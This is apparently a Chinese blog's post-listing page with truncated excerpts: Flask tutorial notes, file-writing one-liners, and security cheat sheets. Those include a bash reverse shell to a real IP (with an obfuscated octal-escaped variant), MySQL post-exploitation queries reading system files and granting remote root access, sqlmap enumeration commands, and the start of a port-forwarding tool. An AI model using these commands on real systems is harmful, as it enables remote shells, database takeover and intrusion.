摘要: from flask import render_template, flash, redirect from app import app from app import db, models from forms import LoginForm, SheetForm, VulForm, EveForm import datetime import time // 原始SQL ... 阅读全文
posted @ 2018-03-18 13:56 数字安全极客 阅读(96) 评论(0) 推荐(0) 编辑
摘要: ## Web 表单 配置 为了能够处理 web 表单,我们将使用 Flask-WTF ,该扩展封装了 WTForms 并且恰当地集成进 Flask 中。 许多 Flask 扩展需要大量的配置,因此我们将要在 microblog 文件夹的根目录下创建一个配置文件以至于容易被编辑。这就是我们将要开始的(文件 config.py): $ config.py > C... 阅读全文
posted @ 2018-03-18 13:55 数字安全极客 阅读(135) 评论(0) 推荐(0) 编辑
摘要: ## 基础使用 $ vim app/templates/index.html > > > {{title}} - microblog > > > Hello, {{user.nickname}}! > > $ vim app/views.py > from ... 阅读全文
posted @ 2018-03-18 13:53 数字安全极客 阅读(142) 评论(0) 推荐(0) 编辑
摘要: # flask学习 参考:http://www.pythondoc.com/flask-mega-tutorial/ ## python3.4 默认支持虚拟环境使用(用最简单的方法,解决问题) wget python3.4 && ./configure && make && make install ## 创建一个虚拟环境 //这个环境能够安装所有的东西,而主P... 阅读全文
posted @ 2018-03-18 13:52 数字安全极客 阅读(161) 评论(0) 推荐(0) 编辑
摘要: ruby -e 'f=File.new("test.txt", "w") ;f.write("test") ' python -c "f=open('test.txt','a');f.write('line.')" python -c "with open('test.txt', 'a') as the_file:the_file.write('test')" perl -e &quo 阅读全文
posted @ 2018-03-18 13:34 数字安全极客 阅读(135) 评论(0) 推荐(0) 编辑
摘要: bash: /bin/bash -i >& /dev/tcp/116.196.82.241/8888 0>&1echo '/bin/bash -i >& /dev/tcp/116.196.82.241/8888 0>&1' > /tmp/a.sh a=$'\057bin\057bash -i \07 阅读全文
posted @ 2018-03-18 13:32 数字安全极客 阅读(117) 评论(0) 推荐(0) 编辑
摘要: ### Grep ### Find 阅读全文
posted @ 2018-03-18 13:28 数字安全极客 阅读(144) 评论(0) 推荐(0) 编辑
摘要: ### 是否降权 select load_file('c:\\boot.ini') ### 查看目录 select @@basedir ### 查询导入目录 SHOW VARIABLES LIKE '%plugin%'; ### 开启外链 GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT ... 阅读全文
posted @ 2018-03-18 13:21 数字安全极客 阅读(1274) 评论(0) 推荐(0) 编辑
摘要: sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称 sqlmap -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称 sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 ... 阅读全文
posted @ 2018-03-18 13:18 数字安全极客 阅读(163) 评论(0) 推荐(0) 编辑
摘要: /* Socket 1data transport tool * [bkbll@mobile socket]$ uname -a * Linux mobile 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux * [bkbll@mobile socket]$ gcc -o trtool trtool.c *... 阅读全文
posted @ 2018-03-18 13:14 数字安全极客 阅读(386) 评论(0) 推荐(0) 编辑